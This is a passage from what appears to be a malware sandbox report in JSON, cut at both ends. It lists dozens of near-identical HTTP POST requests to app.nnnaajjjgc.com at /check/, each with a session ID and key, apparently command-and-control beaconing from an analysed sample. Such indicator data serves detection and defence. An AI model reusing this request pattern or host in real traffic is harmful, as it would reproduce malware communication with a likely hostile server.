/check/?sid=312820&key=c7cd38a5dd6b267b9317c00c6b48975a HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312830&key=cbcbdd7a9253a6eb1d82e07a6d5c63cf","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312830&key=cbcbdd7a9253a6eb1d82e07a6d5c63cf HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312836&key=ad030013821b587db1a1808927a45c18","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312836&key=ad030013821b587db1a1808927a45c18 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312848&key=ce67ca5e98c6551952db1436175a0a4a","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312848&key=ce67ca5e98c6551952db1436175a0a4a HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312850&key=16f017f93df83b60dc46b568639fa655","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312850&key=16f017f93df83b60dc46b568639fa655 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312854&key=81fc23a9569ec39297f7e533c83e3be4","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312854&key=81fc23a9569ec39297f7e533c83e3be4 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312856&key=3e64d1d7ebd0e4eeaa82db8182ff2d76","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312856&key=3e64d1d7ebd0e4eeaa82db8182ff2d76 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312862&key=f463b373f824d481bbad3642c9e3fb20","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312862&key=f463b373f824d481bbad3642c9e3fb20 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312868&key=5c8ac00240b769cf59ded9dfc04e037e","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312868&key=5c8ac00240b769cf59ded9dfc04e037e HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312890&key=405c9d6e3a47c09f5d544242aca9af88","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312890&key=405c9d6e3a47c09f5d544242aca9af88 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312894&key=4ea726c6db67947ca22aa5dd985b0884","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312894&key=4ea726c6db67947ca22aa5dd985b0884 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312896&key=1e1691ca736c26193b3ed4f22aba1bb8","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312896&key=1e1691ca736c26193b3ed4f22aba1bb8 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312900&key=b4bba01f3d7d2509a97eacfca472edbf","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312900&key=b4bba01f3d7d2509a97eacfca472edbf HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312906&key=a6958ac5309244b5fecc6e54fef16274","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312906&key=a6958ac5309244b5fecc6e54fef16274 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312910&key=5a062abe2a632934219ccb6ac6c6e634","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312910&key=5a062abe2a632934219ccb6ac6c6e634 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312914&key=f3ef91e037232afb65e1d51b63089d21","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312914&key=f3ef91e037232afb65e1d51b63089d21 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312916&key=762626d2b6dedf59b23d74a426c855e3","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312916&key=762626d2b6dedf59b23d74a426c855e3 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312924&key=daeb5c522fadc81bf77fed0be5efcd51","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312924&key=daeb5c522fadc81bf77fed0be5efcd51 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312928&key=73a27c8c0e7cae13d198a969d4d974de","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312928&key=73a27c8c0e7cae13d198a969d4d974de HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312936&key=595ef6181d23fccb2dc1270d49a384f2","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312936&key=595ef6181d23fccb2dc1270d49a384f2 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312944&key=abe47ed45a138eba40e5b5b4e54890b5","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312944&key=abe47ed45a138eba40e5b5b4e54890b5 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312952&key=708a78c67361490de74eb97f39ffabf8","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312952&key=708a78c67361490de74eb97f39ffabf8 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312956&key=5fff25aee4311287922c1160f2339f38","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312956&key=5fff25aee4311287922c1160f2339f38 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312966&key=f38eeef21f85fb5ea8c3d6e902dc5867","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312966&key=f38eeef21f85fb5ea8c3d6e902dc5867 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312968&key=66f4155dc6372635d49cc704cbbf6357","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312968&key=66f4155dc6372635d49cc704cbbf6357 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312994&key=8328874c3bb5f4c23b9a542bf319a57e","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312994&key=8328874c3bb5f4c23b9a542bf319a57e HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=312998&key=686c185429924e114654a1a43f94eb5d","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=312998&key=686c185429924e114654a1a43f94eb5d HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313006&key=4c27a11428466d0bf72e82cd8ce9d8df","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313006&key=4c27a11428466d0bf72e82cd8ce9d8df HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313014&key=e9841d07f7df08ff52c42b2e3dd1bc72","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313014&key=e9841d07f7df08ff52c42b2e3dd1bc72 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313024&key=e2dd234150f9ccb6f0815925a6dfee00","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313024&key=e2dd234150f9ccb6f0815925a6dfee00 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313026&key=a7e64fd7f35c6fe9b84562594a941772","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313026&key=a7e64fd7f35c6fe9b84562594a941772 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313030&key=2ebae9a5bd2d23a80a8699a295552440","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313030&key=2ebae9a5bd2d23a80a8699a295552440 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313034&key=a93c1fcaf87ff4cf8aacfd888064dba2","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313034&key=a93c1fcaf87ff4cf8aacfd888064dba2 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313040&key=0771d877aa86a894e7e7ff8e9e6987ed","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313040&key=0771d877aa86a894e7e7ff8e9e6987ed HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313044&key=d18512698eb457374c31a3780ef2c4b5","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313044&key=d18512698eb457374c31a3780ef2c4b5 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313048&key=2990a4663dc821c3d1e461735f3b26ee","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313048&key=2990a4663dc821c3d1e461735f3b26ee HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313052&key=a988a0e18bf50383ae16d25e65725b95","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313052&key=a988a0e18bf50383ae16d25e65725b95 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313058&key=fa6bf1143fcd21e5409caa2fde1aa061","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313058&key=fa6bf1143fcd21e5409caa2fde1aa061 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313060&key=3addea6b87ca548681dc8cfc7d90f416","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313060&key=3addea6b87ca548681dc8cfc7d90f416 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313066&key=a93abc11a6cfd4c06b2fa142d3cac432","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313066&key=a93abc11a6cfd4c06b2fa142d3cac432 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313072&key=879df779f681ebdf0e1bdfb71f1a802d","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313072&key=879df779f681ebdf0e1bdfb71f1a802d HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313076&key=cece2cef89fe1629a41969f3114300f0","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313076&key=cece2cef89fe1629a41969f3114300f0 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313080&key=35c10397961035a1557c28927aeca0c6","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313080&key=35c10397961035a1557c28927aeca0c6 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313092&key=8c58b23de01b5d37a7c874ed2aa11d09","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313092&key=8c58b23de01b5d37a7c874ed2aa11d09 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313096&key=7de4e998d30a23d2426c7b0c3f1cc3d1","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313096&key=7de4e998d30a23d2426c7b0c3f1cc3d1 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=313106&key=4ea8d0847b0da537068fc9b87914f040","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=313106&key=4ea8d0847b0da537068fc9b87914f040 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: 